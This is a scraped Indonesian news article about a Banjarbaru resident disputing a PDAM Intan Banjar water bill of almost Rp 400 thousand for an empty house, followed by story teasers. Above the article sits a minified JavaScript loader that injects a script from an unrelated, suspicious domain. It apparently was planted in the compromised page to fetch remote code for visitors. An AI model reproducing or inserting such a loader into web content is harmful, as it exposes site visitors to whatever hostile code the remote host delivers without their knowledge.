(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Lantaran tagihan pembayaran penggunaan air bersih tidak sesuai pemakaian, pelanggan asal Landasan Ulin, Kota Banjarbaru datangi PDAM Intan Banjar.
Hal tersebut diungkapkan salah seorang warga berinisal H, salah satu pelanggan air bersih PDAM Intan Banjar. Dirinya yang bertempat tinggal di Jalan Trikora Kompleks Griya Pesona Bhayangkara, Bhayangkara 8 No 323, Kecamatan Landasan Ulin, mengaku telah mengosongkan rumahnya sejak pertengahan Maret 2020 hingga sekarang, lantaran ditetapkannya kota Banjarbaru status siaga corona.
Namun betapa terkejutnya ia, saat mendapti tagihan air leding April 2020 justru hampir Rp 400 ribu.
“Rumah kosong, kran depan sudah ditutup, tetapi tagihan April 2020 sudah hampir Rp 400 ribu. Ada apa dengan PDAM Intan Banjar, wajar muncul berbagai kecurigaan-kecurigaan,†katanya.
Awalnya dirinya iseng cek tagihan tarif PDAM Intan Banjar untuk bulan April 2020 di salah satu gerai yang melayani pembayaran. Dirinya langsung terkejut mengetahui tagihan sudah hampir Rp 400 ribu, padahal untuk bulan April 2020 sendiri belum berakhir.
Dirinya pun sudah melaporkan permasalahan tersebut kepada PDAM Intan Banjar yang menindaklanjutinya dengan menurunkan petugas cek langsung ke lapangan. Mendengar penjelasan petugas yang datang ke rumahnya, dirinya mendengarkannya.
“Tidak masalah, tetap saya bayar nilai tagihan April 2020 tersebut, tetapi hendaknya ini menjadi catatan bagi PDAM Intan Banjar sendiri untuk memperbaiki pelayanan kepada pelanggan. Saya pun akan melaporkan kejadian tersebut kepada Ombudsman RI Perwakilan Kalsel dan juga ke Komisi Pemberantasan Korupsi (KPK), semoga ditindaklanjuti,†jelasnya.
Dirinya berharap, pelanggan PDAM Intan Banjar lainnya tidak mengalami kejadian serupa dan dirinya prihatin jika kondisi yang terjadi padanya dialami oleh masyarakat berpenghasilan rendah atau pas-pasan.
Sementara itu Humas PDAM Intan Banjar Untung Hartaniansyah mengatakan, masih akan menindak lanjuti keluhan pelanggan tersebut. Dan sesegera mungkin akan menurunkan petugas untuk dilakukan kalibrasi setelah pelanggan yang bersangkutan melaporkan keluhan ke PDAM Intan Banjar.
“Untuk penyebabnya kita juga masih tidak mengetahui, untuk langkah awal sebaiknya meteran airnya kita kalibrasi dulu, pelanggan silahkan saja melapor dan membayar dulu sesuai tagihan yang ada, kalau hasilnya keliru nanti akan kita kembalikan sisa tagihannya,” ujarnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.